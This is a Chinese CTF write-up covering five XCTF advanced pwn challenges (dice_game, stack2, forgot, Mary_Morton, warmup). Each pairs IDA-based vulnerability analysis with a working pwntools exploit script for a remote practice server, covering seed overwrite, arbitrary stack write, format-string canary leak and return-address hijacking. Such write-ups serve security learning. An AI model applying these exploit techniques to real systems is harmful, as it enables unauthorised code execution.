持续更新攻防世界pwn进阶区刷题过程。。。
0x01 dice_game 查看安全机制
拖入IDA查看反汇编代码 可以看到read函数处,虽然不存在栈溢出,但可以通过read函数修改栈中任意值
整个题目的逻辑就是猜数字,猜中50次返回flag 可以通read函数修改随机数种子seed的值,利用题目提供的动态链接库,采用python和c混合编程解题
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 from pwn import *from ctypes import *io = remote('220.249.52.133' ,'39262' ) io.recvuntil('name: ' ) payload = 'A' *0x40 +p64(1 ) io.sendline(payload) libc = cdll.LoadLibrary('libc.so.6' ) libc.srand(1 ) for i in range(50 ): io.recvuntil('point(1~6): ' ) io.sendline(str(libc.rand()%6 +1 )) io.interactive()
0x02 stack2 查看安全机制
拖入IDA中查看源代码 程序的逻辑大概就是,输入几个数求取平均值 可以看到,在改变数组的数字时,没有对输入的v5的值做检测,导致v5可以取任意值,从而可以利用赋值语句实现对任意地址写 查看v13的地址 可以看到v13离ebp偏移为0x70,然而程序开启了栈保护机制,程序的真正返回地址并不是在ebp的下一位,需要根据动态调试确定返回地址
使用IDA远程调试程序 将断点设置在赋值语句处,将v[0]的值改编为23(0x17) 运行到断点处,查看汇编程序,逐步执行 看到程序最后把值赋值给了[ebp+eax+var_70],查看其在栈中地址,注意要先等eax复制完再查看,eax为地址组成部分 看到v13首地址为FFAE8DD8
接下来是计算返回地址,继续运行程序,然后输入5结束程序 跟随程序汇编代码执行情况 直到运行到return处,此时esp的值即为返回地址的正真地址,即FFAE8E5C
使用两个地址相减即可得到真正的偏移地址 0xFFAE8E5C-0xFFAE8DD8=0x84
由于服务器没有bash命令行,所以我们需要构造字符串,通过程序中有的’bash’截取’sh’部分作为参数输入
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 from pwn import *io = remote('220.249.52.133' ,'36772' ) io.recvuntil('How many numbers you have:\n' ) io.sendline('1' ) io.recvuntil('Give me your numbers\n' ) io.sendline('1' ) for i in range(4 ): io.recvuntil('5. exit\n' ) io.sendline('3' ) io.recvuntil('which number to change:\n' ) io.sendline(str(132 +i)) io.recvuntil('new number:\n' ) io.sendline(str(int('50840408' [2 *i:2 *i+2 ],16 ))) for i in range(4 ): io.recvuntil('5. exit\n' ) io.sendline('3' ) io.recvuntil('which number to change:\n' ) io.sendline(str(132 +i+8 )) io.recvuntil('new number:\n' ) io.sendline(str(int('87890408' [2 *i:2 *i+2 ],16 ))) io.recvuntil('5. exit\n' ) io.sendline('5' ) io.interactive()
0x03 forgot 查看安全机制:
拖入IDA查看反汇编代码 在scanf函数处存在溢出,可以利用其修改变量的值,在程序的结尾利用函数指针来调用函数,v14为偏移量
攻击思路: 利用溢出修改v14的值,同时修改偏移量对于函数指针的值,注意到只有将v14修改为10或者9,可以绕过前面的字符串检测,然而0x0a和0x09均为坏字符,也就是会将字符串截断,导致无法输入到程序中,所以只可以将其修改成0x8,并需要使字符串通过最后一个检测,跟进最后一个检测,只要第一个字符ascii满足大于96小于等于122即可
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 from pwn import *io = remote('220.249.52.133' ,'51231' ) io.recvuntil('> ' ) io.sendline('11' ) io.recvuntil('> ' ) payload = 'a' *(0x74 -0x30 )+p32(0x080486CC )+'a' *(0x30 -0xc -4 )+p32(8 ) io.sendline(payload) io.interactive()
0x04 Mary_Morton 查看安全机制:
拖入IDA查看反汇编代码 程序给了两种攻击方式:栈溢出和格式化字符串漏洞 而由于程序开启了stack cannary
,因此无法直接进行堆栈溢出,需要想办法绕过cannary 关于cannary保护机制可以参考这篇文章https://www.ichenxiaoyu.com/ctf2/
攻击思路:在一个程序运行过程中cannary的值通常是不会变的,会应用于多个函数,因此可以考虑到利用格式化字符串漏洞,爆出cannary,然后利用栈溢出漏洞获取flag,栈溢出过程中用正确的cannary覆盖。
cannary存放的地址一般在离ebp最近的地方,可以看到v2变量就是我们要获取的cannary
解题脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 from pwn import *io = remote('220.249.52.133' ,'30458' ) io.recvuntil('3. Exit the battle \n' ) io.sendline('2' ) payload = '%23$p' io.sendline(payload) io.recvuntil('0x' ) cannary = int(io.recv(16 ),16 ) io.recvuntil('3. Exit the battle \n' ) io.sendline('1' ) payload = 'A' *0x88 +p64(cannary)+'A' *8 +p64(0x4008DA ) io.sendline(payload) io.interactive()
0x05 warmup 这个题目不应该放在进阶区。。。。
解题脚本:
1 2 3 4 5 6 7 8 9 from pwn import *io = remote('220.249.52.133' ,55399 ) io.recvuntil('>' ) payload = 'A' *0x48 +p64(0x40060d ) io.sendline(payload) io.interactive()
持续更新中。。。